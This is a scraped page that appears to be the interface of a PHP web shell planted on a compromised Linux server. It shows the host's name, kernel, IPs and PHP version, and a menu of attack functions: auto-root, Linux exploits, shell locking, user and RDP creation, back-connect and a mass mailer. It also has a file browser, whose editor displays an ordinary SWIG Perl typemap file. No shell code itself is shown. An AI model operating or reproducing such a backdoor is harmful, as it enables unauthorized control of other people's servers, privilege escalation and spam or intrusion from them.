Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
swig /
2.0.10 /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile.pl
691
B
-rw-r--r--
attribute.i
34
B
-rw-r--r--
carrays.i
33
B
-rw-r--r--
cdata.i
30
B
-rw-r--r--
cmalloc.i
32
B
-rw-r--r--
cni.i
150
B
-rw-r--r--
cpointer.i
33
B
-rw-r--r--
cstring.i
32
B
-rw-r--r--
exception.i
138
B
-rw-r--r--
factory.i
32
B
-rw-r--r--
jstring.i
1.02
KB
-rw-r--r--
noembed.h
1.54
KB
-rw-r--r--
perl5.swg
1.44
KB
-rw-r--r--
perlerrors.swg
871
B
-rw-r--r--
perlfragments.swg
556
B
-rw-r--r--
perlhead.swg
2.55
KB
-rw-r--r--
perlinit.swg
1.94
KB
-rw-r--r--
perlkw.swg
3.78
KB
-rw-r--r--
perlmacros.swg
36
B
-rw-r--r--
perlmain.i
1.94
KB
-rw-r--r--
perlopers.swg
1.83
KB
-rw-r--r--
perlprimtypes.swg
7.47
KB
-rw-r--r--
perlrun.swg
14.23
KB
-rw-r--r--
perlruntime.swg
326
B
-rw-r--r--
perlstrings.swg
1.39
KB
-rw-r--r--
perltypemaps.swg
2.74
KB
-rw-r--r--
perluserdir.swg
36
B
-rw-r--r--
reference.i
7.08
KB
-rw-r--r--
std_common.i
617
B
-rw-r--r--
std_deque.i
28
B
-rw-r--r--
std_except.i
35
B
-rw-r--r--
std_list.i
14.04
KB
-rw-r--r--
std_map.i
2.28
KB
-rw-r--r--
std_pair.i
703
B
-rw-r--r--
std_string.i
62
B
-rw-r--r--
std_vector.i
22.3
KB
-rw-r--r--
stl.i
356
B
-rw-r--r--
typemaps.i
12.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : perltypemaps.swg
/* ------------------------------------------------------------ * Typemap specializations for Perl * ------------------------------------------------------------ */ /* ------------------------------------------------------------ * Fragment section * ------------------------------------------------------------ */ /* in Perl we need to pass the CPerlObj value, sometimes, so, we define the decl/call macros as needed. */ #define SWIG_AS_DECL_ARGS SWIG_PERL_DECL_ARGS_2 #define SWIG_AS_CALL_ARGS SWIG_PERL_CALL_ARGS_2 #define SWIG_FROM_DECL_ARGS SWIG_PERL_DECL_ARGS_1 #define SWIG_FROM_CALL_ARGS SWIG_PERL_CALL_ARGS_1 /* Include fundamental fragemt definitions */ %include <typemaps/fragments.swg> /* Look for user fragments file. */ %include <perlfragments.swg> /* Perl fragments for primitive types */ %include <perlprimtypes.swg> /* Perl fragments for char* strings */ %include <perlstrings.swg> /* ------------------------------------------------------------ * Unified typemap section * ------------------------------------------------------------ */ /* No director supported in Perl */ #ifdef SWIG_DIRECTOR_TYPEMAPS #undef SWIG_DIRECTOR_TYPEMAPS #endif /* Perl types */ #define SWIG_Object SV * #define VOID_Object sv_newmortal() /* Perl $shadow flag */ #define %newpointer_flags $shadow #define %newinstance_flags $shadow /* Complete overload of the output/constant/exception macros */ /* output */ %define %set_output(obj) $result = obj; argvi++ %enddef /* append output */ %define %append_output(obj) if (argvi >= items) EXTEND(sp,1); %set_output(obj) %enddef /* variable output */ %define %set_varoutput(obj) sv_setsv($result,obj) %enddef /* constant */ %define %set_constant(name, obj) %begin_block SV *sv = get_sv((char*) SWIG_prefix name, TRUE | 0x2 | GV_ADDMULTI); sv_setsv(sv, obj); SvREADONLY_on(sv); %end_block %enddef /* raise exception */ %define %raise(obj, type, desc) sv_setsv(get_sv("@", GV_ADD), obj); SWIG_fail %enddef /* Include the unified typemap library */ %include <typemaps/swigtypemaps.swg> /* ------------------------------------------------------------ * Perl extra typemaps / typemap overrides * ------------------------------------------------------------ */ %typemap(varout,type="$1_descriptor") SWIGTYPE *, SWIGTYPE [] "sv_setiv(SvRV($result),PTR2IV($1));"; %typemap(varout,type="$1_descriptor") SWIGTYPE & "sv_setiv(SvRV($result),PTR2IV(&$1));"; %typemap(varout,type="$&1_descriptor") SWIGTYPE "sv_setiv(SvRV($result), PTR2IV(&$1));"; %typemap(varout,type="$1_descriptor") SWIGTYPE (CLASS::*) { SWIG_MakePackedObj($result, (void *) &$1, sizeof($1_type), $1_descriptor); } %typemap(varout) SWIGTYPE *const = SWIGTYPE *;
Close
